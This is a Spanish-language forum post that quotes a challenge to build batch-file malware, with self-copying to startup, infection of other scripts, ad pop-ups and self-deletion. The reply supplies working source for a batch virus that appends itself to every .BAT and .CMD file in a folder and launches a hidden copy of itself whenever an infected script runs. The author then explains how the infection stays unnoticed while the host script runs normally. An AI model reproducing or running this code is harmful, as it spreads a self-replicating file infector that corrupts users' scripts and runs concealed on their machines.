Cita de: 79137913 en 24 Abril 2012, 22:05 PM
HOLA!!!
Mmm, queres un reto...
1ro crea un bat que se autocopie a startup
2do crea un bat que se inyecte a si mismo a todos los bats y vbs del disco
3ro crea un bat que abra una pagina de internet con publicidad
4to crea un bat que haga Melt
Uni todo y postea.
GRACIAS POR LEER!!!
Respecto a ese reto... yo había hecho algo hace tiempo que servía para infectar ficheros por lotes de una forma decente.
Código (dos) [Seleccionar]
@:_v_main
@Echo Off %v_main%
For /f "Tokens=* Delims=" %%i in ( %v_main%
'Dir/b *.BAT *.CMD' %v_main%
) Do Call:_Infect "%%~i" "%~0" %v_main%
Exit/B 0 %v_main%
:_Infect %v_main%
Find "@::i_b_t"<"%~1">NUL && GoTo:EoF %v_main%
For /f "Tokens=1 Delims=" %%_ in ( %v_main%
'Type "%~1"^|find /v /c ""^<"%~1"'%v_main%
) Do Set/A "beg_rg=%%_+1" & Set/A "end_rg=%%_+6" %v_main%
( %v_main%
Echo. %v_main%
Echo.@::i_b_t %v_main%
Echo.@Set "Str_R=v_ma" %v_main%
Echo.@GoTo:_%%~1 %v_main%
Echo.:_ %v_main%
Echo.@Start "" /B /high "%%~0" %%Str_R%%in %v_main%
) >> "%~1" %v_main%
( %v_main%
Echo.%beg_rg%,%end_rg%,1M %v_main%
Echo.E %v_main%
)|Edlin /B %~1 %v_main%
Find "v_main"<"%~2">>"%~1" %v_main%
Goto:EoF %v_main%
Lo bueno es que un .BAT infectado así permite que el malware corra oculto mientras se ejecuta el script huésped.
Usa lo que sería una especie de threads en batch, gracias a startb /b que crea una nueva instancia en el programa sin generar una nueva ventana.
De esa forma se genera la instancia del malware y después le da el control al script para su normal ejecución.
Eso también hace que la ejecución del malware pueda durar mucho tiempo sin que se noten efectos, ya que el programa huésped se ejecutará al instante.
Por cierto, la instancia del malware comparte el mismo handle de entrada y salida (y error) del programa huésped, así que se pueden hacer cosas divertidas haciendo por ejemplo que el programa huésped muestre algunos mensajes según las operaciones realizadas.